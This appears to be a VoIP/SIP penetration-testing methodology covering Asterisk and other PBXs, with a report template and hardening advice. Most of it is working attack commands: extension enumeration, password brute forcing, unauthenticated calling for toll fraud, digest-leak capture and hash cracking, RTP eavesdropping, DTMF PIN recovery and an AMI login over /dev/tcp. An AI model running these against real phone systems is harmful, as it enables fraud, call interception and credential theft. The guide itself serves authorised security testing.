Pentesting Voip

Pentesting VoIP / SIP (port 5060)

When to Use

• Default SIP ports 5060/udp and 5060/tcp; TLS (sips:) on 5061/tcp; RTP media on negotiated high UDP ports. PBXs often also expose 69 TFTP, 80/443 web, 389 LDAP, 3306 MySQL, 5038 Asterisk Manager (AMI), 5222 XMPP.
• When nmap shows 5060 SIP, or you find IP phones / a PBX (Asterisk, FreePBX, Elastix, Cisco CallManager, Grandstream).
• SIP is text-based (HTTP-like: INVITE, REGISTER, ACK, BYE, OPTIONS) and frequently misconfigured, enabling toll fraud, eavesdropping, and credential theft.

Quick Enumeration

# Locate SIP services (NSE + SIPVicious + sippts)
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap 10.10.0.0/24 -p 5060-5070 --fp          # SIPVicious mapper (UA=friendly-scanner, easily blocked)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco

# Fingerprint methods/headers and craft messages
sippts enumerate -i 10.10.0.10
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -tu 201 -sdp

# Raw OPTIONS probe (fingerprint via Allow/Server/User-Agent)
printf "OPTIONS sip:<target> SIP/2.0\r\nVia: SIP/2.0/UDP attacker;branch=z9\r\nFrom: <sip:probe@attacker>;tag=1\r\nTo: <sip:probe@<target>>\r\nCall-ID: 1@attacker\r\nCSeq: 1 OPTIONS\r\nMax-Forwards: 70\r\nContact: <sip:probe@attacker>\r\nContent-Length: 0\r\n\r\n" | nc -u -w 2 <target> 5060

Critical: Checks Most Often Missed

• Extension/username enumeration via response differences — 401/407 (valid) vs 404/403 (invalid) on REGISTER/INVITE leaks valid extensions:

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10   # IAX

• Unauthenticated INVITE = toll fraud — a bad Asterisk context or allowguest=true lets anyone place/transfer calls (billed to the victim):

sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v          # call without auth
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444        # call + transfer

• SIP Digest Leak — INVITE a phone; when it hangs up it sends a BYE, reply 407 to force a digest auth response, then crack it offline:

sippts leak -i 10.10.0.10

• RTP eavesdropping — sniff unencrypted RTP (no SRTP/ZRTP) and replay the audio; extract DTMF (voicemail PINs).
• Asterisk misconfig: type=friend SIP-trunk ignores host (anyone can connect), insecure=port,invite, default context including external, AMI profiles allowing any IP.

How to CONFIRM

• Valid extension: REGISTER/INVITE returns 401/407 while invalid ones return 404/403.
• Toll fraud: sippts invite produces a 100 Trying/200 OK and the external number actually rings (no auth challenge).
• Digest leak: sippts leak captures Auth=Digest username=... response=... from the victim's BYE.
• Eavesdropping: a captured RTP stream replays as intelligible audio (TLS/SRTP not in use).

Workflow

Step 1: Enumerate

OSINT phone numbers + Google dorks for device panels (Grandstream/Cisco/Polycom/FreePBX). Map SIP endpoints (svmap/sippts scan), fingerprint methods (sippts enumerate), and note adjacent services (TFTP/web/AMI).

Step 2: Authenticate / unauth access

Enumerate extensions (svwar/sippts exten). Brute force REGISTER auth for discovered extensions:

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

Test for guest/unauthenticated calling (allowguest, bad contexts).

Step 3: Exploit / Extract

• Place unauthenticated/transferred calls (toll fraud PoC) via sippts invite.
• Trigger the SIP Digest Leak and crack the response.
• Sniff and crack digests from a pcap, and reconstruct audio:

sipdump -p net-capture.pcap sip-creds.txt && sipcrack sip-creds.txt -w dict.txt
sippts dump -f capture.pcap -o data.txt && sippts dcrack -f data.txt -w wordlist/rockyou.txt
# Offline crack of an extracted SIP MD5 digest (hashcat mode 11400)
hashcat -a 0 -m 11400 sip.hash /path/to/wordlist.txt
multimon -a DTMF -t wac pin.wav      # recover DTMF (e.g. voicemail PIN) from RTP audio

Step 4: Post-access / pivot

With Asterisk Manager/dialplan access:

• Dump peers via AMI: exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3.
• Live eavesdrop with ChanSpy/ExtenSpy; record calls with MixMonitor.
• Abuse RTCPBleed (RTP redirection through NAT), IVR/extension-injection (101&SIP123123123), and Click2Call profiles that allow any IP to originate calls.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Toll fraud via guest context

allowguest=true and a default context including external; sippts invite places premium-rate calls billed to the target with no authentication.

Scenario 2: Extension enumeration + REGISTER crack

svwar reveals extensions 100-110; sippts rcrack cracks ext 100's password, allowing registration and call placement.

Scenario 3: RTP eavesdropping

On an open/MITM'd network, unencrypted RTP is captured and replayed as audio; embedded DTMF reveals a voicemail PIN.

Output Format

## VoIP / SIP Finding

**Service**: SIP (5060/udp+tcp, 5061/tls), RTP media
**Severity**: <Critical|High|Medium>
**Target**: <IP>:5060  PBX: <Asterisk/FreePBX/Cisco ...>

### Evidence
- Extensions enumerated: <100-110> (401/407 vs 404 differential)
- Unauthenticated INVITE/toll fraud: external number rang (no auth)
- SIP Digest Leak captured + cracked: ext <100> password
- RTP eavesdropping / DTMF (voicemail PIN) recovered

### Reproduction
sippts exten -i <IP> -r 5060 -e 100-200
sippts invite -i <IP> -fu 200 -tu 555555555 -v
sippts leak -i <IP>

### Recommendation
1. Use TLS (5061) for signaling and SRTP/DTLS-SRTP for media; disable cleartext
2. Asterisk: alwaysauthreject=yes, allowguest=no, per-endpoint permit/deny ACLs
3. Avoid type=friend with bare host; restrict contexts; lock down AMI/Click2Call
4. Enforce strong passwords and SHA-256/512-256 digests; add fail2ban + rate limits
5. Patch the PBX (e.g. CVE-2024-35190); restrict SIP exposure to trusted networks